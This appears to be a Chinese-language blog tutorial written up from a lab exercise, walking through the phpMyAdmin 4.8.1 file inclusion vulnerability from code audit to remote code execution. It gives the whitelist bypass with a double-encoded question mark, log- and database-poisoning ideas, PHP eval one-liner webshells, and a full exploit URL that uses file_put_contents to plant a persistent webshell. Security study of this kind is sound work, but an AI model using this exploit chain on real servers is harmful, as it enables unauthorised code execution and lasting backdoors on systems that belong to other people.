您现在的位置是:首页 > 技术教程 正文

文件包含漏洞--phpMyAdmin 4.8.1

admin 阅读: 2024-03-16
后台-插件-广告管理-内容页头部广告(手机)

 基础知识


文件包含分别为:包含本地文件和包含远程文件
从程序外部加载代码到运行环境中运行(本身不是漏洞),当包含的对象受用户控制时,此时存在漏洞


 包含本地文件(只能针对目标服务器上的文件)


会忽略本地文件的文件类型,默认加载的内容都是php代码
不受目录的限制(web应用程序只允许加载web根目录下的文件)


包含远程文件(比较少见)


默认情况是关闭的,需要网站管理员手动设置文件才能开启

代码审计方法


危险函数定位:

  • include()
  • require()
  • include_once()
  • require_once()

其中include_once()和require_once()只对目标文件加载一次

开始代码审计


 审计代码


题目为phpmyadmin 4.8.1环境
查找include()函数,优先审计`$_REQUEST[]`
后续可以跟进的前提:有传参
不需要审计的原因:没有可以操作的功能点

审计功能点的优先级:直接传参高于变量

  • 直接传参:功能点被程序调用
  • 变量:变量是可以被用户传参影响的,功能点被程序调用

对文件开头过滤的绕过:xxx/../index.php

系统中一定存在的文件:C:/windows/win.ini    /etc/passwd

如果能将这些文件包含出来,说明确实存在文件包含漏洞

尝试getshell


使用到的数据库的小技巧:想办法让目标系统中存在webshell内容的文件,然后通过文件包含,加载运行这个文件

可以可以尝试包含一定会存在的文件:(Windows:C:/windows/win.ini linux: /etc/passwd)

此题进行getshell,需要想办法让目标系统存在webshell内容的文件,然后通过文件包含,得到shell,可以尝试

  1. 文件上传
  2.  web服务器日志:/var/log/(通过在请求链接里生成恶意的连接) <?php eval($_REQUEST[8])?>
  3. 数据库查询:想办法让数据库产生一条查询,使他插入到数据库日志里面去 select "<?php eval($_REQUEST[8])?>"
  4. 如果能直接操纵数据库,可以直接拿数据库的表和内容进行利用

如何知道数据库的目录:

  1. 让程序报错(在传参的位置传递数组 例:?8[]=111)
  2. 可以直接操控目标 select @@basedir;

后续审计可以采用的方法

1. 文化上传
2. web服务器日志:/var/log/
3. 数据库日志:
4. 直接利用数据库的表来利用:/MYSQL/data/

如何获取数据的目录:
1. 让程序报错(在传参的位置传递数组),可以获得绝对路径 ?8[]=111;
2. 可以直接操控目标的话:select @@basedir

靶场

先确定绝对路径,找到文件可能存在的地方,接着去利用

本地环境


根据题目提示为文件包含漏洞,先全局搜索include()函数
发现存在"$_REQUEST['target']"直接传参、$goto和$page变量

$_REQUEST['target']


首先查看直接传参`$_REQUEST['target']`
需要同时满足条件(参数target不为空、是字符串、不以index开头(此时如果需要加载index文件去绕过,可尝试使用xxx/../index.php)、不在数组target_blacklist中(此处也可以用xxx/../index.php的方式绕过 )、在checkPageValidity()函数中返回真)才能得到参数

继续跟进变量target_blacklist,只要target不是import.php和export.php文件就成立

跟进checkPageValidity()函数,寻找返回true的点
如果$page为空或者不是字符串,则返回false
其中变量page在变量whitelist中存在,则返回true
截取变量$page中问号之前的内容,并且判断截取的内容是否在数组中

继续跟进page和whitelist,其中whitelist初始为空,则进入`if(empty($whitelist))`的判断,且执行$goto_whitelist方法

进一步跟进$goto_whitelist,发现为静态的数组,我们可以调整page的值,使他被包含在静态数组中,例`$page=db_sql.php`

此时有了可以操作的点,尝试使用相对路径进行绕过  db_sql.php?/../1.txt
用`require("db_sql.php?/../1.png")`测试我们得到的结果(在www目录下提前放一个图片马),看是否能显示1.png文件

此时出现报错,显示没有这个文件(原因是文件包含不允许出现特殊字符"?")

此时继续看下面的代码,将变量page的url编码部分进行解码,并截取问号之前的部分

此时将问号进行url编码,在根目录下写入文件`require("db_datadict.php%3f/../1.png");`,使用浏览器访问此文件,根据最后一行报错,说明此处存在文件包含漏洞

说明此时变量`target=db_datadict.php%3f/../文件名`的格式就能完成任意文件包含
此时在网站根目录下新建文件1.txt

在浏览器使用`target=db_sql.php%3f/../1.txt`进行传参,发现需要登录

登录后再次传参,此时出现报错,且%3f被解码

php在接收get传参时,会对传参进行url解码,此时我们可以使用post进行传递参数(不会)或者再次对%3f进行编码(%253f),此时1.txt文件被包含

通过本地靶场的漏洞,我们可以对网站存在的文件进行包含查看,这对我们的意义并不是很大,如果想让此漏洞进行下去,还需要寻找文件上传漏洞或其他方法
因为此靶场可以对数据库直接操作,我们可以直接查找数据库文件(/MySql/data/数据库名/表名.frm),并且直接新建表,将字段名命名为一句话木马,从而将一句话木马包含进去。
在/mysql/data/数据库/admin.frm文件中,使用查看二进制文件(010 editor)打开,是表admin里的字段名

此时我们可以创建一张表,表的字段名就是我们的一句话木马

寻找网站的根目录,因为我们可以直接操作数据库,使用查询语句`select @@basedir;`知道网站的根目录,网站的根目录为"C:/phpStudy/MySQL/"

此时根据路径找到数据库文件的相对路径
索引文件路径为C:/phpStudy/WWW/phpMyAdmin/index.php
数据库文件路径C:/phpStudy/MySql/data/test/test.frm
此时从索引文件到数据库文件的相对路径为:../../MySql/data/test/test.frm
此时使用之前构造的攻击语句访问/MySql/data/test/test.frm文件(注意此时前面已经有问号,传参时只需要使用&进行连接参数即可)
`target=db_sql.php%253f/../../../MySql/data/test/test.frm&8=phpinfo();`
成功拿到shell

但是此时复制url去直接得到shell,发现需要登录,所以我们还不能用哥斯拉进行连接,我们可以直接使用shell新建一个文件test.php
`http://127.0.0.1/phpMyAdmin/index.php?target=db_sql.php%253f/../../../MySql/data/test/test.frm&8=file_put_contents('test.php','<?php eval($_REQUEST[8])?>')`
执行成功

直接访问test.php查看写入是否成功
`127.0.0.1/phpMyAdmin/test.php?8=phpinfo();`
写入成功,此处存在文件包含漏洞

标签:
声明

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

在线投稿:投稿 站长QQ:1888636

后台-插件-广告管理-内容页尾部广告(手机)
关注我们

扫一扫关注我们,了解最新精彩内容

搜索